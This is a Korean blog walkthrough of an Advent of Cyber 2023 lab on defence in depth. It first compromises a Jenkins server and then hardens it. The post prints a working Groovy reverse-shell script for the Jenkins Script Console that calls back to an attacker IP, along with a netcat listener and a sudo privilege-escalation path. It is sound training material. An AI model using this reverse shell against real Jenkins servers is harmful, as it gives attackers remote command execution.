선릉역 1번 출구
[adventofcyber2023] - Day_12_Defence in depth Sleighing Threats, One Layer at a Time 본문
[adventofcyber2023] - Day_12_Defence in depth Sleighing Threats, One Layer at a Time
choideu 2023. 12. 14. 20:50Story: 합병으로 인해 회사의 서버와 엔드포인트는 모든 공격자에게 취약한 상태가 되었음. McHoneyBell은 지하실의 물리적 서버부터 클라우드까지 모든 계층을 강화하려고 계획함. Defence in depth가 환경의 전반적인 보안 태세를 강화하는 데 도움이 될까?
목표: defence in depth, 기본 엔드포인트 강화, 간단한 Boot2Root 방법론
1. Jenkins 접속
2. 웹 쉘 얻기
- manage Jenkins > Tools and Actions > Script Console 클릭
- Scirpt Console은 Java 플랫폼용 프로그래밍 언어의 일종인 Groovy를 허용하는 기능임
- 이 기능을 사용하여 리버스 쉘을 설정할 예정
1) 아래 스크립트 복사하여 스크립트 콘솔에 붙여넣기
String host="10.10.0.55";
int port=6996;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(), pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(), so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try{
p.exitValue();
break;
}catch (Exception e){}
};
p.destroy();
s.close();
2) 공격자 PC에서 nc 명령어
*nc
nc -nvlp는 Linux/Unix 환경에서 사용되는 Netcat 명령어의 일부로, 네트워크 통신을 위한 간단한 도구로 사용됨.
- nc: Netcat을 실행하는 명령어입니다.
- -n: DNS 이름 해석을 비활성화합니다. IP 주소를 사용하여 연결합니다.
- -v: 상세한 출력을 표시합니다. (verbose 모드)
- -l: 대기 모드로 동작합니다. 연결을 수락하고 데이터를 전송합니다.
- -p: 로컬 포트를 지정합니다.
따라서 nc -nvlp는 Netcat을 사용하여 상세한 출력으로 로컬에서 대기하면서 네트워크 연결을 수락하고, 연결이 수립되면 데이터를 주고받을 수 있도록 설정함
포트는 추가적인 매개변수로 지정되어야 하며, 이 명령을 실행하면 해당 포트에서 연결을 기다리게 됨
3. Tracy 사용자 및 Root 가져오기
1) nc접속 후 /opt/scripts 확인
*/opt = Optional App
backup.sh는 backup 폴더를 만들고 해당 내용을 tracy의 backup 폴더로 이동시키는 스크립트임
sshpass -p "$password" scp localfile.txt username@remote-server:/path/to/destination/
//이 명령은 localfile.txt 파일을 username 사용자로 로그인한 다음 remote-server로 전송하며, 비밀번호는 "$password" 에 지정된 값으로 제공
2) tracy의 계정으로 로그인
3) tracy의 계정으로 사용할 수 있는 명령어 확인
sudo -l //현재 사용자가 sudo를 통해 실행할 수 있는 명령어 나열
- (ALL : ALL) ALL : sudo를 사용해 tracy가 모든 명령을 수행할 수 잇음을 나타냄
- sudo su 명령을 사용해 root 권한으로 상승
4. Defence in depth
- 공격의 관점에서 서버에 대한 루트 액세스 획득 > 수비의 관점에서 이제 공격자가 원하는 것을 최대한 어렵게 만들어 보기
5. Guided Hardening of the Server
1) sudo 그룹에서 tracy 제거
1-1) sudo 그룹으로부터 tracy 제거
1-2) user의 권한 확인
2) SSH 접속 강화
- /etc/ssh/sshd_config 파일에서 #PasswordAuthentication yes를 PasswordAuthentication no로 변경하고, #Include /etc/ssh/sshd_config.d/*.conf를 Include /etc/ssh/sshd_config.d/*.conf로 변경
#PasswordAuthentication yes > PasswordAuthentication no
#Include /etc/ssh/sshd_config.d/*.conf > Include /etc/ssh/sshd_config.d/*.conf
3) 비밀번호 정책 강화
- 비밀번호가 취약해 무차별 공격에 취약할 수 있음
- 사용자는 잘못된 비밀번호 사용으로 스크립트에 일반 텍스트 자격 증명을 입력하고 서버 액세스 권한이 있는 모든 사람이 볼 수 있도록 나멱둠
- 강력한 비밀번호 정책 적용하기
4) Promoting Zero-Trust
- cd /var/lib/jenkins : 젠킨스의 홈디렉토리로 이동
- config.xml.bak : 젠킨스의 백업 구성 파일에서 특정 부분 주석 제거
--- Redacted ---
<!--authorizationStrategy class="hudson.security.FullControlOnceLoggedInAuthorizationStrategy">
<denyAnonymousReadAccess>true</denyAnonymousReadAccess>
</authorizationStrategy-->
<!--securityRealm class="hudson.security.HudsonPrivateSecurityRealm">
<disableSignup>true</disableSignup>
<enableCaptcha>false</enableCaptcha>
</securityRealm-->
--- Redacted ---
- authorizationStrategy
- Jenkins의 인가 전략(authorization strategy) 설정
- hudson.security.FullControlOnceLoggedInAuthorizationStrategy은 로그인 한 사용자에 대해 전체 제어를 허용하되, 익명 사용자에 대해 읽기 액세스를 거부하는 전략을 사용하겠다는 것을 나타냄
- denyAnonymousReadAccess 요소는 익명 사용자에 대한 읽기 액세스 거부 여부를 설정
- securityRealm
- Jenkins의 보안 영역(security realm) 설정
- hudson.security.HudsonPrivateSecurityRealm은 Jenkins 자체의 사용자 데이터베이스를 사용하여 사용자를 관리하겠다는 것을 나타냄
- disableSignup은 사용자의 직접 가입을 비활성화할 것인지 여부를 나타내며, enableCaptcha는 자동화 방지를 위한 CAPTCHA(Completely Automated Public Turing test to tell Computers and Humans Apart) 기능을 활성화할 것인지 여부를 나타냄
+ Challenge
1) root flag
2) sudo 그룹에서 제거
3) ssh flag